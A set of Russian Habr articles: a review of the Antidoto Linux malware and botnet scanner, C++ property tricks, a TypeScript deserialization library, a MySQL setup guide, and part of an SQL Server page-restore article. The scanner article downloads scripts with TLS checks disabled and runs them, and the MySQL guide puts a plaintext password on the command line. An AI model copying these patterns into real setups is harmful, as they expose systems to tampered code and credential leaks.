На “Хабре” так же есть описание организации работы сканера для вебхостинга — maldet. Теперь хотелось бы рассмотреть реализацию приложения для эвристического обнаружения уязвимостей, вирусов и ботнетов для OpenVZ ОС Linux — Antidoto.
Имея итальянское имя, этот открытый проект является детищем русскоязычного разработчика Павла Одинцова [pavelodintsov](http://habrahabr.ru/users/pavelodintsov/). Это открытый проект и располагается на [гитхабе](https://github.com/FastVPSEestiOu/Antidoto). Одна из причин создания этого сканера, а так же то, что ярко выделяет его перед остальными — сканирование памяти работающей системы на предмет обнаружения запущенного вредоносного программного обеспечения.
Заявлена работа на всех популярных современных Linux-дистрибутивах: Centos 5-6, Debian 5-7, Ubuntu 10-14. В целом, должно работать и на других дистрибутивах, так как проект написан на perl.
Рассмотрим возможности Антидота.
* Поиск не пустых файлов и директорий со странными названиями (пробелы, точки) в публично доступных директориях (/tmp, /var/tmp)
* Поиск не пустых файлов с заданиями планировщика для пользователей apache, www-data (/var/spoo/crontabs, /var/spool/cron)
* Уведомление об отсутствующих файлах с информацией о последних авторизациях (/var/log/btmp, /var/log/wtmp)
* Поиск процессов, чьи исполняемые файлы отсутствуют
* Обнаружение популярных вредоносных программ в памяти по md5-хэшам
* Обнаружение подозрительного ПО, использующего udp/tcp-порты (irc, прокси, контроллеры ботнета)
* Обнаружение подключений к удаленным серверам с ненормальным количеством тредов (от 5 и выше)
* Обнаружение процессов, отличающиеся по архитектуре от системы, используемой на сервере
* Обнаружение процессов, которые запущены из файлов, собранных статически (бинарные файлы, включающие все зависимые компоненты)
* Обнаружение процессов, которые были запущены с использованием LD\_PRELOAD, запущенных из файлов с битами SUID, SGID
Antidoto может быть запущен в режиме аудита, который используется в качестве замены сразу нескольких программ: netstat, lsof, ss и ps. Так же, может использовать в качестве движка сканирования установленный ClamAV.
Установка и запуск сканера antidoto очень простая, так как для запуска не требуется никаких дополнительных зависимостей. Просто скачивается файл сканера и модуль к нему:
```
wget -OAntidoto.pl --no-check-certificate https://raw.githubusercontent.com/pavel-odintsov/Antidoto/master/Antidoto.pl
wget -OAntidoto.pm --no-check-certificate https://raw.githubusercontent.com/pavel-odintsov/Antidoto/master/Antidoto.pm
perl Antidoto.pl
```
Помимо сканера проверки файлов, есть сетевой сканер, который входит в комплект Antidoto.
```
wget -OAntidoto.pm --no-check-certificate https://raw.githubusercontent.com/pavel-odintsov/Antidoto/master/Antidoto.pm
wget -Olinux_network_activity_tracker.pl --no-check-certificate https://raw.githubusercontent.com/pavel-odintsov/Antidoto/master/linux_network_activity_tracker.pl
perl linux_network_activity_tracker.pl
```
Далее рассмотрим практическое использование Antidoto на сервере под управлением CentOS на котором расположено некоторое количество openvz-контейнеров.
Ни первый скрипт, ни второй не предполагают использование параметров при запуске.
Но у Antidoto.pl есть набор параметров в коде с помощью которых можно откорректировать проверку сетевой активности. Используются булевы значения, поэтому настроить не особо сложно.
* compress\_forks => 1, при обнаружении форков процесса показывать только один процесс
* show\_process\_information => 1, выводить информацию о найденных процессах
* show\_open\_files => 1, выводить в отчет открытые файлы приложений
Следующий блок будет полностью посвещен TCP-соединениям
* show\_tcp => 1, выводить любую информацию, относящуюся к TCP
* show\_whitelisted\_listen\_tcp => 1, выводить списком прослушиваемые сокеты, находящиеся в белом списке
* show\_listen\_tcp => 1, выводить список слушающих TCP-сокетов
* show\_client\_tcp => 1, выводить список TCP-сокетов клиентов
* show\_local\_tcp\_connections => 1, отобразить информацию о локальных TCP-соединениях
Последний блок аналогичный предыдущему, но относится к UDP
* show\_udp => 1,
* show\_whitelisted\_listen\_udp => 1,
* show\_listen\_udp => 1,
* show\_client\_udp => 1,
* show\_local\_udp\_connections => 1,
Запустив скрипт на родительском сервере я получил следующие данные
```
# perl Antidoto.pl
We got warning about process from CT: 115: 'Programm is x86 on container with arch x86_64 Probably it's an malware!'
pid: 48998 name: 3proxy ppid: 30919 uid: 13 gid: 13 CT: 115
exe path: /home/proxy/bin/3proxy
cwd: /
cmdline: /home/proxy/bin/3proxy /home/proxy/conf/main.cfg
We found a file with suspicious name .crontab.kVBjzc.swp in CT 485 in directory: /vz/root/485/tmp
We got warning about process from CT: 485: 'it running manually from NOT root user and it's very dangerous'
pid: 927381 name: AchievementSave ppid: 925991 uid: 501 gid: 502 CT: 485
exe path: /home/0xp_servers/prop_hunt2/serverfiles/srcds_linux
cwd: /home/0xp_servers/prop_hunt2/serverfiles
cmdline: ./srcds_linux -game garrysmod -strictportbind -ip 192.168.0.2 -port 27015 +host_workshop_collection -authkey +clientport 27008 +tv_port 27023 +map cs_office +servercfgfile prop_hunt2.cfg -maxplayers 32 +gamemode prop_hunt -tickrate 33
```
Как мы видим, при проверке сервера был выявлен подозрительный файл во временной директории контейнера 485 и несоответствие архитектуры запущенного процесса 3proxy.
К счастью, на сервере не обнаружено никакого вредоносного ПО.
Перейдем к рассмотрению режима диагностики (аудита) сервера, который представлен отдельным скриптом — linux\_network\_activity\_tracker.pl
Его преимущества в том, что он заменяет сразу несколько утилит: netstat, lsof, ss и ps и предоставляет в качестве результата проверки удобочитаемый вывод информации. Как и Antidoto, просто запускаем скрипт на родительском сервере с контейнерами
```
# perl linux_network_activity_tracker.pl
Container's 15675 process 415528 connected to the DANGER tcp port 6667 to the server 192.169.0.2
Container's 15675 process 415530 connected to the DANGER tcp port 6667 to the server 192.169.0.2
Container's 29419 process 174494 listens DANGER tcp port 9050
```
Как видно из полученной информации, скрипт аудита обнаружил в одном контейнере подключения к 6667 порту (это наиболее популярный порт для подключения к IRC и управления ботами), а в другом -приложение, ожидающее подключение на 9050 порт. При дальнейшем рассмотрении, это оказалась socks-прокси.
Другие статьи про сканеры безопасности и уязвимостей:
* [maldet](http://habrahabr.ru/post/194346/)
* [rkhunter](http://habrahabr.ru/company/first/blog/242865/)
* [chkrootkit](http://habrahabr.ru/company/first/blog/243487/) | https://habr.com/ru/post/254079/ | null | ru | null |
# Как вместить property в один байт?
Вступление
==========
Многие языки программирования имеют такой инструмент, как properties: C#, Python, Kotlin, Ruby и т.д. Этот инструмент позволяет вызывать какой-то метод класса при обращении к его "полю". В стандартном C++ их нет если хотите узнать, как можно их реализовать, прошу под кат.
Некоторые моменты...
====================
* Я не Bjarne Stroustrup, поэтому могу ошибаться насчёт внутреннего устройства чего-либо, буду рад поправкам в комментариях.
* В этой статье показаны только идеи реализации Property. Для разных ситуаций подходят разные варианты, в конце статьи нет готовой библиотеки или заголовочного файла.
Методы
======
Всем известна реализация с помощью методов `get_x` и `set_x`.
```
class Complicated {
private:
int x;
public:
int get_x() {
std::cout << "x getter called" << std::endl;
return x;
}
int set_x(int v) {
x = v;
std::cout << "x setter called" << std::endl;
return x;
}
};
```
Она является самым очевидным решением, к тому же в рантайме не хранятся никакие "лишние" переменные (кроме поля `x`, оно называется *backing field*, необязательно и не лишнее), самый главный её минус в том, что выражения, которые логически значат `c.x = (c.x * c.x) - 2 * (c.x = c.x / (4 + c.x))` (конкретно в данном примере смысла мало), превращаются в `c.set_x((c.get_x() * c.get_x()) - 2 * c.set_x(c.get_x() / (4 + c.get_x())))`. А я хочу, чтобы выражение в коде выглядело так же, как у меня в голове.
**Комментарий**Вы можете как угодно кастомизировать код: добавить где-то `inline` или поменять возвращаемый тип на `void`, убрать *backing field* или один из методов, в конце концов приписать `const` и `volatile`, — это не влияет на рассуждения. Множество вызовов функций для такого простого арифметического выражения выглядит по крайней мере *некрасиво*.
Операторы
=========
В C++, как и в большинстве других языков, можно перегрузить операторы (+, -, \*, /, %, ...). Но чтобы это сделать, нужен объект-обёртка.
```
class Complicated {
public:
class __property {
private:
int val;
public:
operator int() { // get
std::cout << "x getter called" << std::endl;
return val;
}
int operator=(int v) { // set
val = v;
std::cout << "x setter called" << std::endl;
return val;
}
} x;
};
```
Теперь `c.x = (c.x * c.x) - 2 * (c.x = c.x / (4 + c.x))` выглядит по-человечески. А вдруг нам требуется иметь доступ к другим полям `Complicated`?
```
class Complicated {
public:
Axis a;
class __property {
public:
operator int() { // get
std::cout << "x getter called" << std::endl;
return a.get_x(); // ??? никакого 'a' внутри __property нет
}
int operator=(int v) { // set
std::cout << "x setter called" << std::endl;
return a.set_x(v); // ??? никакого 'a' внутри __property нет
}
} x;
};
```
Так как операторы перегружаются внутри `Complicated::__property`, то и **this** там имеет тип `Complicated::__property const*`. Другими словами, в выражении `c.x = 2` объекту `x` вообще ничего не известно о объекте `c`. Тем не менее, если реализация геттера и сеттера не требует ничего от `Complicated`, этот вариант вполне логичен.
**Комментарии*** Axis — некоторый объект, осуществляющий, например, физику на оси.
* Можно сделать `__property` анонимным классом.
* Если property без *backing field*, объект x будет занимать один байт, а не 0. [Тут](https://stackoverflow.com/questions/621616/c-what-is-the-size-of-an-object-of-an-empty-class) достаточно понятно описано, почему. Из-за выравнивания эта цифра может увеличиваться. Так что если вам очень важен каждый байт памяти, вам остаётся использовать только первый вариант: отдельный класс `__property` необходим для перегрузки операторов.
Сохранение this
===============
Предыдущий пример требует доступа к `Complicated`. Так же сама терминология [property](https://www.google.ru/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&cad=rja&uact=8&ved=0ahUKEwjH69e6x9_YAhVMD5oKHbIDD2kQFggrMAE&url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FProperty_(programming)&usg=AOvVaw0-3HLHCgqN4RlZOPPfZVex) подразумевает, что `get_x` и `set_x` будут определены как методы `Complicated`. А чтобы вызвать метод внутри `Complicated`, `__property` должен знать **this** оттуда.
Этот способ тоже достаточно очевидный но не самый лучший. Просто храним указатели на всё, что нравится: метод-геттер, метод-сеттер, **this** внешнего класса и так далее. Я видел такие реализации и не понимаю, почему люди считают их приемлемыми. Размер property возрастает до 32 (64) битов, а то и больше, причём указатель получается на память, которая очень близко к **this** у property (почти сам на себя указывает, ниже будет объяснено, почему). Вот мой минималистичный вариант, он весьма уместно использует ссылку вместо указателя.
```
class Complicated {
private:
Axis a;
public:
int get_x() {
std::cout << "x getter called" << std::endl;
return a.get_x();
}
int set_x(int v) {
std::cout << "x setter called" << std::endl;
return a.set_x(v);
}
class __property {
private:
Complicated& self;
public:
__property(Complicated& s): self(s) {}
inline operator int() { // get
return self.get_x();
}
inline int operator=(int v) { // set
return self.set_x(v);
}
} x;
Complicated(): x { *this } {}
};
```
Этот подход можно назвать улучшенным вариантом первого: он полностью содержит [**Методы**](#metody) (UPD: Он и следующие подходы *полностью обратно совместимы* с проектом, в котором использовались геттеры и сеттеры как методы `Complicated`). Как видно, функционал определен в `Complicated`, а `__property` приобрело более менее абстрактный вид. Тем не менее, эта реализация мне не нравится из-за её цены в рантайме и необходимости вписывать в конструктор инициализацию property.
Получение this
==============
Поле `x` не должно существовать вне объекта `Complicated`, а если класс-обёртка будет ещё и анонимным, то каждый `x` почти гарантированно будет находиться в каком-то объекте `Complicated`. Значит, можно относительно безопасно получить **this** из внешнего класса, вычтя из указателя на `x` его отступ относительно начала `Complicated`.
```
class Complicated {
private:
Axis a;
public:
int get_x() { // get
std::cout << "x getter called" << std::endl;
return a.get_x();
}
int set_x(int v) { // set
std::cout << "x setter called" << std::endl;
return a.set_x(v);
}
class __property {
private:
inline Complicated* get_this() {
return reinterpret_cast(reinterpret\_cast(this) - offsetof(Complicated, x));
}
public:
inline operator int() {
return get\_this()->get\_x();
}
inline int operator=(int v) {
return get\_this()->set\_x(v);
}
} x;
};
```
Тут `__property` тоже имеет абстрактный характер, следовательно можно будет его обобщить при надобности. Единственный недостаток — offsetof для сложных (не-[POD](http://en.cppreference.com/w/cpp/concept/PODType), отсюда и **Complicated**) типов неприменим, gcc об этом предупреждает (в отличие от MSVC, который, видимо, вставляет в offsetof что нужно).
Поэтому придётся обернуть \_\_property в простую структуру (`PropertyHandler`), к которой offsetof применим, а потом привести **this** из `PropertyHandler` к **this** из `Complicated` с помощью *static\_cast* (если `Complicated` унаследуется от `PropertyHandler`), который правильно посчитает все отступы.
Конечный вариант
================
```
template struct PropertyHandler {
struct Property {
private:
inline const T\* get\_this() const {
return static\_cast(
reinterpret\_cast(
reinterpret\_cast(this) - offsetof(PropertyHandler, x)
)
);
}
inline T\* get\_this() {
return static\_cast(
reinterpret\_cast(
reinterpret\_cast(this) - offsetof(PropertyHandler, x)
)
);
}
public:
inline int operator=(int v) {
return get\_this()->set\_x(v);
}
inline operator int() {
return get\_this()->get\_x();
}
} x;
};
class Complicated: PropertyHandler {
private:
Axis a;
public:
int get\_x() {
std::cout << "x getter called" << std::endl;
return a.get\_x();
}
int set\_x(int v) {
std::cout << "x setter called" << std::endl;
return a.set\_x(v);
}
};
```
Как видно, мне уже пришлось завести шаблон, чтобы можно было выполнить *static\_cast*, однако обобщить определение Property для очень удобного использования не получается: только совсем костыльнообразно с макросами (имя property не поддаётся кастомизации в Complicated).
Такая реализация без *backing field* занимает всего один неиспользуемый байт (без учёта выравнивания)! А работает так же, как реализация с указателями. С *backing field* она не займёт ни единого "лишнего" байта, что ещё нужно для счастья?
Главный минус этого подхода — кривой исходный код, но я считаю, что тот синтаксический сахар, который он приносит стоит затраченных на него усилий.
**Варианты улучшения*** Богатство C++ позволяет переопределить по-своему другие операторы (присваивания, бинарных операций, и т.д.), поэтому такую property в отдельных случаях имеет смысл реализовывать под себя, ведь какое-то ключевое слово или два амперсанда (не забывайте перегружать операторы для rvalue, если используются большие объекты) в правильном месте способны значительно улучшить скорость программы. Также открываются новые горизонты отладки...
* Можно наслаждаться лучшими модификаторами доступа, чем в C#! Если хорошо подумать и поставить правильные ключевые слова в нужные места, конечно.
* Property могут сделать какие-то api приятнее, например, `size()` у контейнеров в STL может таким образом превратиться в `size` (конкретно в этом примере имеет смысл брать одну из первых реализаций, а не последнюю — самую навороченную), или те же `begin` с `end`'ом...
UPD: На самом деле цена (в один байт) не зависит от количества property, потому что можно их все положить в union.
```
template struct PropertyHandler {
struct PropertyBase {
protected:
inline const T\* get\_this() const {
return static\_cast(
reinterpret\_cast(
reinterpret\_cast(this) - offsetof(PropertyHandler, x)
)
);
}
inline T\* get\_this() {
return static\_cast(
reinterpret\_cast(
reinterpret\_cast(this) - offsetof(PropertyHandler, x)
)
);
}
};
union {
class \_\_x: PropertyBase {
public:
inline int operator=(int v) {
return get\_this()->set\_x(v);
}
inline operator int() {
return get\_this()->get\_x();
}
} x;
class \_\_y: PropertyBase {
public:
inline double operator=(double v) {
return get\_this()->set\_y(v);
}
inline operator double() {
return get\_this()->get\_y();
}
} y;
};
};
class Complicated: public PropertyHandler {
public:
int get\_x() {
std::cout << "x getter called" << std::endl;
return 1;
}
int set\_x(int v) {
std::cout << "x setter called" << std::endl;
return 2 + v;
}
double get\_y() {
std::cout << "y getter called" << std::endl;
return 3;
}
double set\_y(double v) {
std::cout << "y setter called" << std::endl;
return 3 + v;
}
};
``` | https://habr.com/ru/post/346936/ | null | ru | null |
# TypeScript: Десериализация JSON в классы с валидацией типов у свойств
Привет, Хабр! Хочу поделиться с вами своей библиотекой для десериализации объектов JSON в классы, которая еще и автоматически валидирует по типам входные данные.
Не так давно в JavaScript появилась такая замечательная вещь как классы, которая значительно упростила процесс написания кода. Но к сожалению не появился функционал для десериализации JSON в эти самые классы, т.е. сериализовать класс в строку можно, а вот обратно уже своими силами. И вот для исправления этого недостатка и была написана библиотека [ts-serializable](https://www.npmjs.com/package/ts-serializable) которой я хочу поделиться с вами.
В чем суть проблемы показывает следующий код:
```
export class User {
public firstName: string = "Иван";
public lastName: string = "Петров";
public birthDate: Date = new Date();
public getFullName(): string {
return [this.firstName, this.lastName].join(' ');
}
public getAge(): number {
return new Date().getFullYear() - this.birthDate.getFullYear();
}
}
const ivan = new User();
ivan.getFullName(); // возвращает ФИО
ivan.getAge(); // возвращает возраст
ivan instanceof User; // является инстансом пользователя
const text = JSON.stringify(ivan); // сериализуем класс в текст
const newIvan = JSON.parse(text); // десериализуем обратно
newIvan.getFullName(); // ОшибкаТипа: метод getFullName отсутствует
newIvan.getAge(); // ОшибкаТипа: метод getAge отсутствует
newIvan instanceof User; // не является инстансом пользователя
```
В чем причина ошибок нового Ивана? Дело в том что метод JSON.parse десериализует не в класс User, а в класс Object у которого просто нету методов getFullName и getAge.
Как же моя библиотека помогает решить эту проблему и десериализовать в User, а не Object? Достаточно просто слегка модифицировать код:
```
import { jsonProperty, Serializable } from "ts-serializable";
export class User extends Serializable {
@jsonProperty(String)
public firstName: string = "Иван";
@jsonProperty(String)
public lastName: string = "Петров";
@jsonProperty(Date)
public birthDate: Date = new Date();
public getFullName(): string {
return [this.firstName, this.lastName].join(' ');
}
public getAge(): number {
return new Date().getFullYear() - this.birthDate.getFullYear();
}
}
const ivan = new User();
ivan.getFullName(); // возвращает ФИО
ivan.getAge(); // возвращает возраст
ivan instanceof User; // является инстансом пользователя
const text = JSON.stringify(ivan); // сериализуем класс в текст
const newIvan = new User().fromJson(JSON.parse(text)); // десериализуем обратно в User
newIvan.getFullName(); // возвращает ФИО
newIvan.getAge(); // возвращает возраст
newIvan instanceof User; // является инстансом пользователя
```
Все очень просто. Наследуем наш класс от класса Serializable у которого есть два метода fromJson для десериализации и toJSON для сериализации, а свойствам вешаем декоратор @jsonProperty с указанием тех типов данных которые разрешено принимать из JSON. Невалидные данные будут проигнорированы, в консоль выдано предупреждение, а в свойстве останется значение по умолчанию.
Вот вообщем то и все. Теперь на фронте можно десериализовать и сериализовать так же просто как это делается в C#, Java и других языках. За основу взято поведение Newtonsoft Json.NET.
#### FAQ
**Для чего наследоваться от Serializable?**
Для того что бы добавить в модель два метода fromJson и toJSON. Можно тоже самое реализовать и через декоратор или monkey patching. Но наследование является более правильным методом для Typescript.
**Как происходит валидация данных**
В декоратор необходимо назначить конструктор тех типов данных которые разрешено принимать из JSON. Объекты Boolean, String, Number выдадут соответственно boolean, string, number. Если вам нужно принять массив, то тип обрамляется скобочками массива, например @jsonProperty([String]). Если конструктор отнаследован от класса Serializable, то оно также будет десериализовано в класс, если нет то вернется объект.
**Как отловить ошибки валидации?**
По умолчанию библиотеку просто пишет предупреждения в консоль об ошибках валидации. Для переопределения этого поведения, например для бросания исключений или логирования на бекенд, необходимо переопределить метод onWrongType у модели.
#### Бонус 1. Глубокая копия.
```
const user1 = new Uesr();
const user2 = new User().fromJson(user1); // создаст глубокую копию
```
#### Бонус 2. Ленивые ViewModels.
Если вам необходимо создать модель с дополнительными данными, например для вьюхи, но которые не принимает бекенд, можно просто расширить модель новыми свойствами и пометить эти свойства декоратором @jsonIgnore. И тогда эти свойства не будут сериализованы.
```
import { jsonProperty, Serializable } from "ts-serializable";
export class User extends Serializable {
@jsonProperty(String)
public firstName: string = "Иван";
@jsonIgnore()
public isExpanded: boolean = false;
}
JSON.stringify(new User()); // вернет {"firstName":"Иван"}
``` | https://habr.com/ru/post/428812/ | null | ru | null |
# Повышаем безопасность стека web-приложений (виртуализация LAMP, шаг 2/6)
Linux: Настройка сервера баз данных MySQL
=========================================
Перейдем ко второму практическому уроку серии и поговорим о настройке виртуального окружения выделенного сервера – подготовим узел (VM) предназначенный для хранения и обслуживания доступа к БД MySQL/PostgreSQL.
В этой установке, мы будем использовать сервер баз данных MySQL. Все настройки этого урока будут проводится исключительно на **vm04** с IP-адресом 192.168.1.13
Установка сервера MySQL
-----------------------
Введите следующую команду [yum-менеджера](http://www.cyberciti.biz/faq/rhel-centos-fedora-linux-yum-command-howto/), что бы [установить MySQL сервера баз данных на RHEL/CentOS Linux](http://www.cyberciti.biz/faq/how-to-install-mysql-under-rhel/) систему:
```
# yum install mysql mysql-server
```
### Настройка сервера MySQL
Отредактируем файл */etc/my.cnf*:
```
# vi /etc/my.cnf
```
Убедитесь, что MySQL сервер доступен с виртуальных машин **vm01** и **vm02** с установленными на нем Apache+php5. Найдите раздел **[mysqld]** и добавте/исправьте следующие параматеры, что бы [**mysqld** служба БД стала доступна удаленно](http://www.cyberciti.biz/tips/how-do-i-enable-remote-access-to-mysql-database-server.html):
```
# Убедитесь, что директива skip-networking закомментирована (или удалена)
# skip-networking
# Включение удаленный доступ
bind-address=192.168.1.13
```
### Оптимизация параметров MySQL-сервера
Необходимо оптимизировать сервер MySQL, иначе он отъест весомую часть ресурсов виртуальной машины **vm04**. Вы можете добавить или исправить настройки следующим образом (подробнее — в [руководстве по MySQL](http://dev.mysql.com/doc/refman/5.5/en/)).
```
########################################################################
# Внимание!!!
# Параметры безопасности и производительности
# Читайте манны mysqld и my.cnf для получения подробной информации
# т.к. следующие параметры зависят от установленного оборудования и
# конкретных требований к системе
########################################################################
# Из соображений безопасности рекомендуется отключить использование
# symbolic-links
symbolic-links=0
## Идем дальше, пропуская ряд прописанных параметров, YMMV
skip-name-resolve
skip-slave-start
skip-external-locking
# ИНДИВИДУАЛЬНЫЕ КЛИЕНТСКИЕ НАСТРОЙКИ #
# Завышенные параметры, но мои ресурсы позволяют #
sort_buffer_size = 2M
read_buffer_size = 2M
binlog_cache_size = 1M
wait_timeout = 200
interactive_timeout = 300
max_allowed_packet = 12M
thread_stack = 128K
table_cache = 1024
myisam_sort_buffer_size = 1M
tmp_table_size = 12M
max_heap_table_size = 12M
# ПРОТОКОЛИРОВАНИЕ #
log_queries_not_using_indexes = 1
slow_query_log = 1
slow_query_log_file = /var/lib/mysql/slowquery.log
# Кэши и предельные значения #
tmp_table_size = 12M
max_heap_table_size = 12M
query_cache_type = 1
query_cache_limit = 2M
query_cache_size = 32M
max_connections = 500
thread_cache_size = 50
open_files_limit = 65535
table_definition_cache = 4096
table_open_cache = 1024
# MyISAM #
key_buffer_size = 32M
myisam_recover = FORCE,BACKUP
# БЕЗОПАСНОСТЬ #
max_allowed_packet = 16M
max_connect_errors = 1000000
# Бинарный лог #
log_bin = /var/lib/mysql/mysql-bin
expire_logs_days = 14
sync_binlog = 1
# InnoDB #
innodb_flush_method = O_DIRECT
innodb_log_files_in_group = 2
innodb_log_file_size = 256M
innodb_flush_log_at_trx_commit = 1
innodb_file_per_table = 1
innodb_buffer_pool_size = 10G
```
Сохраним изменения и закроем файл. Перезагрузим/перезапустим сервер MySQL:
```
# chkconfig mysqld on
# service mysqld start
# service mysqld reload
# service mysqld restart
```
Убедимся, что на TCP-порту #3306 работает **mysqld**:
```
# netstat -tulpn | grep :3306
```
MySQL сервера баз данных конфигурации брандмауэра
-------------------------------------------------
Отредактируем конфигурацию брандмауэра *[/etc/sysconfig/iptables](http://www.cyberciti.biz/faq/centos-fedora-rhel-nfs-v4-configuration/)*:
```
# vi /etc/sysconfig/iptables
```
Убедитесь, что виртуальные машины **vm01** и **vm02** могут получить доступ к серверу баз данных:
```
## Откройте порты mysqld для web-сервера Apache и Lighttpd #
-A INPUT -m state --state NEW -s 192.168.1.10 -m tcp -p tcp --dport 3306 -j ACCEPT
-A INPUT -m state --state NEW -s 192.168.1.11 -m tcp -p tcp --dport 3306 -j ACCEPT
```
Сохраните и закройте файл. [Перезапустим службу **iptables**](http://www.cyberciti.biz/faq/howto-start-iptables-under-rhel-centos-linux/):
```
# service iptables restart
```
Увеличение дисковых квот и диапазона портов сервера БД
------------------------------------------------------
Для нагруженных серверов СУБД следует увеличить предельное количество дескрипторов файлов ([FD limits](http://www.cyberciti.biz/faq/linux-increase-the-maximum-number-of-open-files/)) и [увеличить число доступных IP-портов](http://www.cyberciti.biz/tips/linux-increase-outgoing-network-sockets-range.html)
```
# Увеличим предельное число дескрипторов файловой системы
fs.file-max = 50000
# Увеличим число доступных портов
net.ipv4. ip_local_port_range = 2000 65000
```
Активируем изменения, введя следующую sysctl-команду, изменяющую параметры ядра Linux исходя из указанных нами настроек:
```
# sysctl -p
```
Создание баз данных MySQL и учетных записей пользователей
---------------------------------------------------------
В данном разделе приводятся основные параметры ручного создания базы данных MySQL.Для наглятности нашей задачи мы [создадим базу данных MySQL и пользователя](http://www.cyberciti.biz/faq/mysql-user-creation/) со следующими параметрами:
* ИМЯ БД: **foo**
* ИМЯ ПОЛЬЗОВАТЕЛЯ БД: **bar**
* ПАРОЛЬ БД: **mypassword**
* КОМУ РАЗРЕШЕН ДОСТУП К БД: **localhost**, **vm01**, **vm02** со следующими IP-адресами — **192.168.1.10** и **192.168.1.11**
Введите следующую команду для создания БД и требующихся пользователей:
```
# /usr/bin/mysql -u root -h localhost -p
```
Чтобы создать БД с именем **foo**, введите следующую команду в строке терминала mysql:
```
mysql > CREATE DATABASE foo;
```
Необходимо предоставить права доступа к этой БД пользователю MySQL с именем **bar**, под которым сервера приложений Apache + php5 будут подключаться к БД.
```
mysql > GRANT ALL ON foo.* TO bar@localhost IDENTIFIED BY 'mypassword';
mysql > GRANT ALL ON foo.* TO bar@192.168.1.10 IDENTIFIED BY 'mypassword';
mysql > GRANT ALL ON foo.* TO bar@192.168.1.11 IDENTIFIED BY 'mypassword';
```
Что бы выйти из консоли MySQL, введите следующую команду:
```
mysql > quit
```
Теперь можно создавать таблицы или загрузить данные, используя SQL-файл. Вы можете автоматизировать эту процедуру, написав [шелл- или Perl-скрипт добавления пользователей MySQL и баз данных](http://bash.cyberciti.biz/mysql/add-database-username-password-remote-host-access/).
### Проверьте вашу новенькую БД и пользовательские настройки с «удаленных» vm01 и vm02
Подключитесь через ssh к виртуальному узлу **vm01** или узлу **vm03** и введите следующую команду, чтобы проверить связь с Apache/Lighttpd web-сервером:
```
$ mysql -u bar -h 192.168.1.13 -p'mypassword' foo
```
или так:
```
$ mysql -u bar -h vm04 -p'mypassword' foo
```
PhpMyAdmin
----------
[PhpMyAdmin](http://www.phpmyadmin.net/home_page/index.php) – известный web-интерфейс к БД MySQL. Этот серверный скрипт используется для удаленного администрирования MySQL с помощью одного лишь браузера. PhpMyAdmin может администрировать как весь сервер MySQL, так и одну базу данных. Этот пакет рекомендуется для всех новых пользователей базы данных MySQL и администраторов.
* [Вводная часть](http://habrahabr.ru/post/147864/)
* [Шаг №1: Настройка / Установка: NFS файловый сервер](http://habrahabr.ru/post/148004/)
* [Шаг №2: Настройка / установка: сервер баз данных MySQL](http://habrahabr.ru/post/148077/)
* [Шаг №3: Настройка / Установка: Memcached сервера кэширования](http://habrahabr.ru/post/148488/)
* [Шаг №4: Настройка / Установка: Apache + php5 приложение веб-сервера](http://habrahabr.ru/post/148489/)
* [Шаг №5: Настройка / Установка: веб-сервер Lighttpd для статических активов](http://habrahabr.ru/post/148490/)
* Шаг №6: Настройка / Установка: Nginx обратный (reverse) прокси-сервер
Ссылки на продолжение в конце поста будут проставлены в течение недели, по мере перевода и при вашем желании слушать дальше этот перевод. | https://habr.com/ru/post/148077/ | null | ru | null |
# Восстановление отдельных страниц в базе данных
##### Предисловие
Статья Gail Shaw [«Help, my database is corrupt. Now what?»](http://www.sqlservercentral.com/articles/Corruption/65804/), [перевод](http://habrahabr.ru/blogs/mssql/136979/) которой я запостил на прошлой неделе, вызвала, вроде бы, определенный интерес, но она, увы, не содержала «практики». Да, там написано как можно спасти данные, но нет никаких примеров.
Изначально я хотел сделать еще один перевод все того же автора, но, подумав, решил написать пост «от себя», как бы «по мотивам». Причины, побудившие меня поступить так, я опишу в конце поста, в примечаниях.
#### Восстановление баз данных в SQL Server
Как уже было сказано в предыдущей статье, в том случае, если повреждены страницы кластерного индекса или кучи, то данные, содержащиеся на этих страницах, потеряны и единственным вариантом для их восстановления является непосредственно восстановление базы данных.
SQL Server предоставляет множество возможностей для восстановления баз данных. Во-первых, это восстановление базы данных целиком — оно может занимать довольно много времени (зависит от размера БД и скорости жестких дисков). Во-вторых, восстановление отдельных файловых групп, либо файлов, если ваша БД состоит из нескольких файловых групп (или, соответствено, файлов). В этом случае, есть возможность восстановления только поврежденных частей БД, не затрагивая остальных. Эти два вида восстановления БД используются довольно часто и затрагиваться в дальнейшем не будут.
В-третьих, в SQL Server 2005 появилась возможность восстановления отдельных страниц БД — в этом случае из бэкапа будут восстановлены только указанные страницы. Такое восстановление будет особенно актуально, если DBCC CHECKDB найдет несколько поврежденных страниц в какой-нибудь огромной таблице, «лежащей» в здоровенном файле. За счет того, что восстанавливаться будет не весь файл, и даже не вся таблица, а только несколько страниц — время простоя может быть значительно сокращено.
#### Требования и ограничения
##### Модель восстановления и доступность резервных копий журнала транзакций
Самое главное, что нужно помнить — для восстановления отдельных страниц, база данных должна использовать полную (full) модель восстановления, либо модель восстановления с неполным протоколированием (bulk-logged). Если ваши базы находятся в простой (simple) модели восстановления — дальше вы можете уже и не читать.
Второе требование — ваши полные бэкапы и бэкапы журнала транзакций должны образовывать неразрывную цепочку журналов ([log chain](http://msdn.microsoft.com/ru-ru/library/ms190440.aspx)). Если вы никогда не выполняете команду BACKUP LOG WITH TRUNCATE\_ONLY (NO\_LOG) и не переключаетесь в простую модель восстановления для того, чтобы уменьшить журнал транзакций, и у вас есть ВСЕ резервные копии журнала транзакций с момента последней полной резервной копии не содержащей поврежденных страниц (включая эту самую полную резервную копию) — за цепочку журналов можно не волноваться.
В модели восстановления с неполным протоколированием, теоретически, восстановление отдельных страниц должно работать нормально в том случае, если соблюдаются условия описанные выше, и восстанавливаемые страницы не изменялись [операциями, выполняемыми с минимальным протоколированием](http://msdn.microsoft.com/ru-ru/library/ms191244.aspx).
##### Редакции SQL Server
Восстановление страниц возможно в любой редакции SQL Server, но для редакций Enterprise Edition и Developer Edition возможно восстановление поврежденных страниц on-line, т.е. к базе данных, во время восстановления, можно обращаться (и более того, обращаться можно даже к той таблице, к которой относятся восстанавливаемые в данный момент страницы, если сами эти страницы не будут «затрагиваться» — в противном случае, запрос завершится ошибкой). Для редакций «ниже» Enterprise Edition, восстановление страниц проходит в режиме off-line и база данных, на время восстановления, становится недоступной.
##### Тип поврежденной страницы
В том случае если повреждены страницы индекса, либо данных, их восстановление возможно в режиме online в редакции Enterprise Edition.
